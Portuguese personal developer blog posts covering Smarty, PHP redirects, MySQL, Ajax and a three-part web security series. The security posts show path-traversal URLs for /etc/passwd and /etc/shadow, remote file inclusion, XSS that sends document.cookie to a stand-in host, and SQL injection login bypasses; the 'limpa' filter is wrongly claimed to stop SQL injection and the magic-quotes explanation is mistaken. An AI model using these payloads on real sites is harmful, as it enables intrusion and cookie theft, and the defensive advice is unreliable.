O Poder da classe Smarty.

•17 Abril, 2009 • 1 Comentário

Aew! Eu não morrí viu??…ainda xD
Entaum mais um novo post, mas agora falando sobre o poder da classe de templates Smarty do PHP.

O Smarty tem a finalidade de agregar (ou carimbar, se preferir xD) dados à templates HTML prontos. O programa basicamente substitui informações entre tags (geralmente { e }) em templates HTML, pelos dados que você manda pelo PHP através do SMARTY.
O Smarty aumenta a produtividade e a organização de projetos, pois usando-o, separamos o gráfico do funcional.

Ele possui um compilador interno que interpreta uma sintaxe própria na mesma linha do php, auxiliando certas tarefas como: loops e resolução condições lógicas dentro do code dos próprios templates.

(E, sim, esta definição foi tirada da WikiPédia! porem, fui eu quem escrevi o artigo lá xDDD)

Vamos a parte prática então!
Primeiro baixe a classe inteira aqui: http://www.smarty.net/download.php em “Last Stable Release”

Descompacte os arquivos na sua pasta de paginas do apache (ou IIS se for o caso xD) e os diretorios serão montados.

Bora montar um exemplo simples de funcionamento???
Tudo que você precisa está na pasta libs, então pegue-a e coloque-a em uma pasta de testes.
Em seguida crie 2 pastas: templates, templates_c (<- chmod 777, leitura e escrita para esta pasta)

Bem, montamos a estrutura padrão basica de uma pagina com o smarty na pasta de teste

Entendendo:
* A pasta libs contém a classe SMARTY em sí, o core.
* A pasta templates possui arquivos de templates para ultilizar-mos com o SMARTY. Os templates tem a extensão .tpl no final porem não passam de HTMLs preparados por vc para reeber informações em campos pré programados.
* A pasta templates_c é a pasta onde ficam os templates já processados, é o cache/buffer do SMARTY (para não ficar tendo que re-compilar a pagina toda hora xD).

Agora dentro da pasta templates vamos criar um template bem básico, que chamaremos de: teste.tpl, com o seguinte conteúdo:
<html>
<header><title>{$titulo}</title><header>
<body>
<center>{$corpo}</center>
</body>
</html>

Uhmmmmm, quer dizer que eu uso variaveis do php dentro de templates que são na verdade arquivos HTML??
Na verdade pode ser, fragmentos de HTML, que serão juntados por vc através do SMARTY. E não são variaveis do php, são variaveis de “assinalagem/maquiagem” do SMARTY.

Vamos ao raiz de nossa pasta teste e criamos um index.php para finalmente fazermos nossa integração xD:

<?

include “libs/Smarty.class.php”; //inclui a classe ;)


$smarty = new Smarty; // cria novo objeto dentro da var smarty

$smarty->compile_check = false; //desativa a checagem de compilação

$smarty->caching = false; //desativa o cache (odeio debugar com cache xD..tem q ficar apagando td hr)

$smarty->assign(”titulo”,”Pagina de exemplo SMARTY!”); // definimos a valor qu será exibido no campo titulo do template

$smarty->assign(”corpo”,”Mim funga! xD”); // definimos a valor qu será exibido no campo corpo do template

$smarty->display(”teste.tpl”);//compila o template teste.tpl com as informações de variaveis previamente configuradas!

$smarty->clear_all_cache();//limpa td o cache…como ja disse..odeio-o =X

?>

No proximo post explicarei como funciona condições e loops dentro dos proprios templates html do smarty.
Espero que tenham gostado xD …

Abraços (de macho pow) e até a próxima!

Redirecionar pagina mantendo dados do metodo POST

•29 Janeiro, 2009 • 3 Comentários

Aew!

Depois de me matar no google tentando achar algum resposta para a minha pergunta: “Como diabos eu redireciono de uma pagina a outra mantendo os dados do post do protocolo HTTP entre 2 scripts PHP?”

Finalmente liguei os pontinhos e descobri que precisava ser usado o codigo 307 especificado no RFC do protocolo HTTP 1.0 como temporary redirect …. a diferença deste codigo dos outros milhares de codigos de redireção HTTP (3XX) é que ele redireciona de uma pagina para outra mantendo os dados da querystring POST!!!
Ta.. mas como eu implemento isto no php??
Fiquei me matando com sockets e headers mas descobri que este comando banal faz o serviço todo:
header(”Location: pagina.php”,TRUE,307);

Poizéh… me matei no google por causa de 47 caracteres ¬¬
Mais ta aew pra quem quiser saber xD

—–ENGLISH VERSION—–
Yo!
After i almost killed myself in google i finally found a PHP command to redirect pages mantaining the POST querystring.


The responsible for this magic is the code 307 especified int the HTTP RFC like “temporary redirect”.
Uh..ok.. but how i make this shit using PHP?

Then after a couple of hours googling, and klling the sockets and headers in PHP i found the fucking solution:
header(”Location: pagina.php”,TRUE,307);

Oh yeah… i fucking killed myself because of 47 danmed chars ¬¬
But the solution is now here to who wants xD

——
Abraços! \o/

Problema de compatibilidade entre Mysql 4 e 5

•11 Julho, 2008 • Deixe um comentário

Fala galera!

Ontem percebi que mudaram sem aviso o Mysql 4.1 da unidev pra versão 5 e varios scripts do site ferraram devido ao seguinte erro proveniente do novo server mysql:
” Unknown column ‘tabela.coluna’ in ‘on clause’ “

Fiquei louco, revevisei a sintaxe do query nos scripts e tava tudo certinho (de acordo com a syntaxe do 4 porem O.o). Era uma query +- assim:
SELECT t.col1, t2.col1 FROM tabela AS t,tabela2 AS t2 OUTER JOIN tabela3 AS t3 ON t2.col1=t3.col2 WHERE t.col1=’ fudeu!  xD ‘;

Oq poderia ser??? me matei de procurar no gugól e nada…dai axei um post extremamente bagunçado e consegui descobrir o problema:
SELECT t.col1, t2.col1 FROM tabela AS t,tabela2 AS t2 INNER OUTER JOIN tabela3 AS t3 ON t2.col1=t3.col2 WHERE t.col1=’ fudeu!  xD ‘;

A MARDITA vírgula na separação de tabelas do FROM!!!

Então descobri que este é o jeito certo agora:
SELECT t.col1, t2.col1 FROM tabela AS t INNER JOIN tabela2 AS t2 INNER OUTER JOIN tabela3 AS t3 ON t2.col1=t3.col2 WHERE t.col1=’ foi!  xD ‘;

É isto aeeeeeeeeeeeewwwwwwwww (ana carolina xD), por causa desta porcaria perdi 2 horas de minha vida ¬¬ mas ta ai o post pra quem precisar agora e não perder 2 horas. haeuahuahuhaeu

(*Xingando equipe do MYSQL*…cof..cof..cof)

Falow galera!

Segurança em Web-Sites. (Parte 3-Outros bugs)

•13 Setembro, 2007 • 2 Comentários

Faaaaaaaala galera XD. Galera?? oO Quase ninguem visita meu blog, então dexa keto o ‘galera’ XD
Reformulando:
Faaaaaaala putada!!! hauheuahauaehu XD, zuera ^^’

Vou poupar-lhes das ladainhas de introdução e pular pro q intereça de vez….

Alem dos dois problemas principais que eu citei temos varios outros problemas.

Uploads Maliciosos

Muitos sites oferecem opção de upload de arquivos e alguns ate descompactam pacotes zip que vc. manda. Tai o problema, pois se vc não souber filtrar os arquivos um exploit ou outro codigo mailicioso pode ser inserido no seu site. Por exemplo um dia desses postei um script onde era pra postar imagens com a extensão .jpg, como o programador não sabia que o linux não leva em consideração a extensão do arquivo pois usa o padrão MIME de detecção de tipo de arquivo eu consgui executar o .jpg como um script XD.
Não so assim da pra fazer como de outras maneiras, deixarei sua criatividade lhe guiar XD

Métodos post desprotegidos

Uma coisa que ví muito também, são paginas que usam metodo post descaradamente, mas sem a proteção devida só dando inportancia para os GETs. Isto pode feder, por que imagina uma enquete que use o metodo post e insira a opção selecionado por um input-radio e apensiona direto ao SQL, como vcs ja viram, eu poderia pegar o form de post, redirecionar o link direito para a pagina de “action” e modificar a opção do radio-box de “opt2″ para “opt2′; comandos sql XD –” e ele seria apensado ao query sql ja que não tem proteção no post o.O

Verificação de erros inseguro

Muita gente usa JAVASCRIPT pra checar erros em campos de forms e etc…, mas só java não é o suficiente pois eu posso salvar o codigo html da pagina modificar o form e retirar a checagem de erros java. Então o certo é fazer a checagem pelo java e pelo script que salva as informações também, ja que o script que esta no server nao pode ser retirado. Ta ai exemplos ASP e PHP de como tratar um erro deste, eh muito facil…

ASP:
   Response.Write “<script>alert(’”& strErro &”‘);”
   Response.Write “history.back(-1);</script>”
   Response.End

PHP:
   echo “<script>alert(’$erro’);”;
   echo “history.back(-1);</script>”;
   die;

pronto! Isto dai exibe o erro e retorna para a pagina anterior ^^, viu q nem doeu?? xD

Link-access por metodo get.

Ja vi muita pagina acessar seus links assim:
www.site.com.br/link.php?url=index.php

Mas acontece que da pra mim fazer isto neste link se o apache no linx estiver desprotegido:
www.site.com.br/link.php?url=../../../../etc/passwd
www.site.com.br/link.php?url=../../../../etc/shadow

e estão em suas mãos todas as senhas da maquina linux host, HEUAEHUAEHUEAHEAU XD, dai eh so usar um brute force para criptografia DES ou  SHADOW e ta feita a cagada.

Outra coisa que da pra fazer também:
www.site.com.br/link.php?url=www.meusite.com/meuscript.php

e se o script link.php estiver usando o recurso include do php o seu script é lido e executado, lembrando que em meusite não pode ter php ativado pois os codigos php serao interpretados antes e irão sumir de meuscript.php.

Eh isso aew galera!!! Termino aqui os 3 tutos sobre segurança web. Apartir daqui é com vocês!
NÃO ME RESPONSABILIZO PELO MAU USO DAS INFORMAÇÕES DOS MEUS 3 ARTIGOS!

Epero q tenham gostado ^^
Abraços.

Eduardo “Duzao7667″ A. Ayres.

Segurança em Web-Sites. (Parte 2-XSS)

•18 Agosto, 2007 • 2 Comentários

Vamos então a parte 2 de nosso tuto de segurança em web-pages xD

O XSS-Exploit (Cross Site Scripting) não é nada mais nada menos que inserir scripts ou tiras destes em uma pagina, na maioria das vezes através de posts ou comentarios que são enviados e agregados ao HTML da página.

Imagine só se o hacker resolve carregar um código malicioso em sua página através de um javascript em outra pagina e então junto com seu comentario posta uma tag script:
Oi <script src=”www.site.com/exploit.js“</script> galera ! Blz?

Quando a pagina com o post for carregada o script se executará e um virus por exemplo pode ser inserido na maquina via JS ou VBscript (sim, incrivel, mas da xD).
O que mais acontece é o hacker pegar o cookie do usuário e salvar atravéz deste script. Mas num tem problema pq meu cookie ta criptografado!!!

Nein Nein!!!! Não são todos os sites que criptografam senhas!! mesmo criptografando-as, elas podem ainda ser descriptografadas diretamente (no caso de criptografia síncrona) ou por força bruta (no caso da assíncrona), sem falar que dependendo das informações no cookie a sua privacidade vai pras cucuias xD.

Para ver seu proprio cookie na pagina que vc esta acessando eh facil, apenas execute um javascript na barra de endereços:
javascript:alert(document.cookie);

…e ta ai seu cookie do site que você está xD
O script que pega o cookie e armazena no site funciona associado a um php ou asp, veja o que contem no script exploit.js:
window.location = http://www.site.com/pegacookie.php?cookie=”+document.cookie;

E está salvo seu cookie atravez de um simples php usando metodo GET =S

Mas isto não acontece só em posts mas tambem em GETs como por exemplo neste link:
www.site.com?buscador.php?busca=alguma+coisa+<script>Alert(”alo!”);</script>

Neste exemplo a variavel busca vai ser passada para o servidor e repassada de volta para o cliente e o script será executado por que estará agregado ao HTML xD
Então podemos perceber que o metodo pra salvar cookies aqui tb funciona se codificarmos a string em URLencode.
Espero que tenham gostado XD

Até a proxima!

Segurança em Web-Sites. (Parte 1-SQLInjection)

•15 Agosto, 2007 • 1 Comentário

Começo agora o primeiro de 3 tutos sobre segurança em Web-pages que será publicado aqui no meu blog :D , serão abordados 3 assuntos: SQL-Injection(Parte 1), XSS Exploiting(Parte2) e outros bugs gerais(Parte 3).

então bora começar a parte 1!
O SQLInjection é uma falha que permite o hacker executar comandos sql no seu servidor atravez da injeção de comandos SQL na maioria das vezes no metodo http GET. Veja um exemplo….

Temos aqui uma pagina de noticias que le a noticia de ID=3:
www.site.com.br/noticias.php?noticia=3

No script que lê esta noticia o numero 3 pego na variavel GET noticia, é diretamente concatenado com a variavel de requerimento ao SQL:
mysql_query(”select * from noticias where id=’”.$_GET[noticia].”‘);

de modo que se ela é concatenada assim podemos fazer o SQL injection pela propria URL:
www.site.com.br/noticias.php?id=1 union select * from noticias where id = ‘3′ or id=’

que no query SQL fica assim:
mysql_query(”select * from noticias where id=’1‘ union select * from noticias where id = ‘3′ or id=’ ‘ “);

então as informacoes de duas noticias são mostradas na tela. o mesmo ocorre para outros casos como senhas informações inportantes etc, basta anular o select com um “where” capenga, fechar o comando SQL com “;” e acrescentar um “describe table” ou “show databases” que o resto vc se encaminha xD

Como podemos acabar com isto??? retirar os comandos sql??? filtrar os operadores????
Tem muita gente que faz isto mas é besteira, a solução é apenas verificar a variavel GET noticia para ver se ela É NUMÉRICA (PHP-is_numeric(string), ASP – IsNumeric(string) ) filtrar e pronto, qualquer simbolo estranho será retirado.

Agora se a variavel GET for para strings como por exemplo:
www.site.com.br/buscar.php?busca=alguma+coisa

então devemos filtrar qualquer tipo de operador SQL por expressoes regulares ou se preferir no replace (nao recomendo, use só se vc não souber expressões regulares xD), ta ai uma boa função pra filtrar variaveis que vão ser injetadas no SQL:

function limpa($campo){
$campo = get_magic_quotes_gpc() == 0 ? addslashes($campo) : $campo; //se magic_quotes tiver desligada ok, senao filtra elas xD
$campo = strip_tags($campo); //ranca qualquer tag no campo
return preg_replace(”@(–|\#|\*|;|=)@s”, “”, $campo); //ranca qualquer operador SQL no campo
}

Usando esta funcao sempre para filtrar as variaveis vc estará livre de ataques ;)

Mas o que são magic quotes????
são caracteres codificados alternativos aos normais, por exemplo e ” são respectivamente os caracteres espaço ( ) e aspas (”), deste modo podemos esconder ou camuflar o ataque por que o preg_replace nao pegaria os magic quotes por nao seres caracteres reais apesar de ser executados como tais.O segundo tipo de ataques SQL são feitos por variaveis POST que pra quem não sabe são as que são passadas internamente pelo protocolo HTTP através de forms e inputs HTML.Do mesmo modo as variaves POST são na maioria das vezes concatenadas ao query do SQL também de modo que na entrada de um campo de login e senha como este:

<input name=”login”>
<input type=”password” name=”senha”>

é interpretados no query:
mysql_query(”select * from usuarios where login=’”.$_POST[login].”‘ senha=’”.$_POST[senha].”‘ “)

de modo que podemos injetar instruções SQL pelos campos e burlar a segurança. Se por um exemplo inserirmos o nome do usuario correto mas na senha:
‘ or 1=1 or senha=’

então na query ficaria:
mysql_query(”select * from usuarios where login=’doido7667′ and senha=’‘ or 1=1 or senha=’ ‘ “);

como de fato, 1 sera sempre igual a um, heaueahua xD, e estamos dentro do site =X

Use a função limpa que eu ja passei para limpar as variaveis POST tambemOutra coisa que ajuda bastante é apenas renomear o nome da bancos e tabelas inportantes para coisas menos obvias oOBaum, então esta foi a primeira parte de meu pequeno tutozinho básico de como proteger-se contra ataques contra seu web-site ^^

Espero que tenham gostado,
abraços.

Ajax básico.

•12 Agosto, 2007 • Deixe um comentário

Aeeww!!
Segundo post ^^

Dessa vez vou falar um pokim mais sobre Ajax como prometi no post passado.

Criando seu proprio objeto Ajax
Como falei, o ajax nada mais é que jogar o conteudo um html ou xml carregado assincronamente, atravez do javascript, dentro de um div html que você criou.

Para isto precisamos criar o objeto da classe do ajax usada pelo seu navegador, paraque nao haja incompatibilidade usamos esta função:

function criahttp() {
var xmlhttp; //criamos um ponteiro pra armazenar o objeto

try{ //tentamos pra ver se….
xmlhttp = new XMLHttpRequest();//….o navegador possui a classe ajax pro mozilla, netscape e opera
}catch(e1){
try{//num deu certo o de cima tentamos ver dinovo se…
xmlhttp = new ActiveXObject(”Msxml2.XMLHTTP”);//…é a versao 2.0 da microsoft
}catch(e2){
try{//e por final vemos se….
xmlhttp = new ActiveXObject(”Microsoft.XMLHTTP”);//…é a versao 1.0 da microsoft
}catch(e3){
xmlhttp = false;//setamos o ponteiro como falso
alert(’Seu navegador não suporta Ajax!’);//damos os pesames xD
}
}
}
return xmlhttp; //retornamos o resultado que saiu dentro do ponteiro
}

Então criamos o objeto:
ajax=criahttp();

e usamos normalmente.

Metodos da classe ajax
Como qualquer objeto/classe nossa classe criada tem metodos a serem usados, no nosso caso usaremos os metodos mais comuns:

  • open(metodo,url,assinc) – Ex de uso: open(’GET‘,’pagina.html‘,true) – Abre a conexão ao conteúdo;
  • readyState() – checa se o conteudo ja foi carregado e esta pronto para ser exibido;
  • responseText – retorna os dados recebidos na requisição;
  • state() – retorna o codigo HTTP de reposta ao pedido open;
  • status() – retorna o código do estado da requisição HTTP;
  • statusText() – retorna o texto do estado da requisição HTTP;
  • send() – inicia a requisição

Então abrimos uma conexão com um html qualquer DENTRO dos dominios do seu site, por que o ajax por motivos de segurança não abre paginas exteriores a seu dominio, nao adianta tentar procurar no goole por uma solução, por que não tem xD, então seguimos com o código:

conteudo=getElementById(”seu_div”); //pegamos o handle do div de retorno
conteudo.
innerHTML= “<b>Carregando…</b>”; //imprimimos “Carregando” no div

ajax.open(”GET”, “pagina.html”,true); //abrimos a pagina “pagina.html” com o ajax
ajax.send(NULL); //prosseguimos com a requisição


E então esperamos a resposta a resposta de sucesso à requisição e jogamos o que foi pego dentro do div:

ajax.onreadystatechange=function() {//cria uma função para ser chamada qndo o estado do ajax mudar
if (ajax.readyState==4){ //checa se o estado
if (ajax.status == 200) { //checa se o codigo HTTP retornado for “ok” (200)…

//Lê o texto retornado na requisição
var texto=ajax.responseText;

//tira o urlencode
texto=texto.replace(/\+/g,” “);
texto=unescape(texto);

//Exibe o texto no div de resposta
var conteudo=document.getElementById(”seu_div”);
conteudo.innerHTML=texto;
} else { //Senão, se o servidor retornou outro código que não seja “200″, mostrar o erro.
alert(’Erro na requisição HTTP! “‘+ ajax.statusText +’” (erro ‘+ ajax.status +’)');
}
}

}

Sabendo disto você ja pode usar o ajax da maneira que queira ^^, se você esta boiando em algo sugiro aprender mais sobre o protocolo HTTP ou javascript.

Abraços.
Eduardo “Duzao7667″ A. Ayres

Estreia do blog.

•5 Agosto, 2007 • 2 Comentários

Aew!!

To estreiando meu blog agora, apesar de ter criado ele no começo do ano xD.

Posso dizer que mês passado foi um mês bem produtivo. Migrei o fórum da unidev inteiro, fiz uma pagina para uma empresa de minha cidade e ainda me aprofundei em javascript e fiz um modulo em ajax que estou integrando ao php e batizando de DajaX – Direct Ajax, ou se preferir, Duzao Ajax, eahuaehuheu xD que futuramente penso em implantar na UD

—————————————–

Um pouco mais de detalhes sobre meus trabalhos xD:

Passos na migração do fórum UniDev:

* Anotei todas as tabelas e campos do banco de dados do forum Sntiz(antigo) e do phpBB (novo).
* Relacionei as tabelas e os campos com suas respectivas funções.
* Verifiquei as diferenças entre os dois bancos e como poderiam ser acertadas
* Criei os scripts que leen as informações de um banco e reformate tudo para o outro.
* Dei replace para os bbcodes e smiles para os mais compatíveis
* Usando as proprias funcoes internas do phpBB eu refinei os bbcodes e os smiles
* Por final corrigi as discrepancias nos ranks baseado no userlevel do banco antigo

Agora resta reintegrar o site em asp com o em php, o que nao vai ser nada facil xD

—————————————–

Uma breve introdução do que é Ajax:

Ajax não é nada mais nada menos que um modulo do navegador atraves do javascript que chama blocos de paginas html dentro de blocos de um ja aberto. Imagine como um iframe, mas ele realmente está na mesma pagina html que esta sendo exibida e voce tem total controle sobre ela.
O conteudo é carregado em divs assincronamente, e pode ser interagido em tempo real tanto com javascript e html quanto com o CSS. A função chave para as requisicoes http assincronas é o objeto xmlhttp().
Breve colocarei mais informações xD

Obrigado pela atenção, e até a próxima! o/